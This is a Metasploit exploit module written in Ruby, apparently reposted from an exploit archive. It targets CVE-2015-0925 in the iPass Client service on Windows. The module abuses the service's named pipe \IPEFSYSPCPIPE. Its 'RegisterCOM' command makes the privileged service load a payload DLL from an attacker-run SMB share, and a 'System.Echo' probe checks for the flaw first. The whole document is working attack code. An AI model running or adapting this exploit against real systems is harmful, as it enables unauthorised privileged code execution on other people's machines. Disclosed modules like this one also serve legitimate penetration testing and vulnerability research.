IPass Control Pipe – Remote Command Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::SMB::Server::Share include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'IPass Control Pipe Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in the IPass Client service. This service provides a named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused to force the service to load a DLL from a SMB share. }, 'Author' => [ 'Matthias Kaiser', # Vulnerability discovery 'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-0925' ], [ 'OSVDB', '117423' ], [ 'BID', '72265' ], [ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x32', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'Privileged' => true, 'DisclosureDate' => 'Jan 21 2015', 'DefaultTarget' => 0)) register_options( [ OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) ], self.class) deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME') end def check echo_value = rand_text_alphanumeric(rand(10) + 10) begin response = send_command("System.Echo #{echo_value}") if response =~ Regexp.new(echo_value) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Unknown end rescue Rex::ConnectionError => e vprint_error("Connection failed: #{e.class}: #{e}") return Msf::Exploit::CheckCode::Unknown rescue Rex::Proto::SMB::Exceptions::LoginError => e vprint_error('Connection reset during login') return Msf::Exploit::CheckCode::Unknown end end def setup super self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll" self.share = Rex::Text.rand_text_alpha(5) end def primer self.file_contents = generate_payload_dll print_status("File available on #{unc}...") send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}") end def send_command(command) # The connection is closed after each command, so we have to reopen it connect smb_login pipe = simple.create_pipe('\\IPEFSYSPCPIPE') pipe.write(Rex::Text.to_unicode(command)) response = Rex::Text.to_ascii(pipe.read) response end def exploit begin Timeout.timeout(datastore['SMB_DELAY']) { super } rescue Timeout::Error # do nothing... just finish exploit and stop smb server... end end end |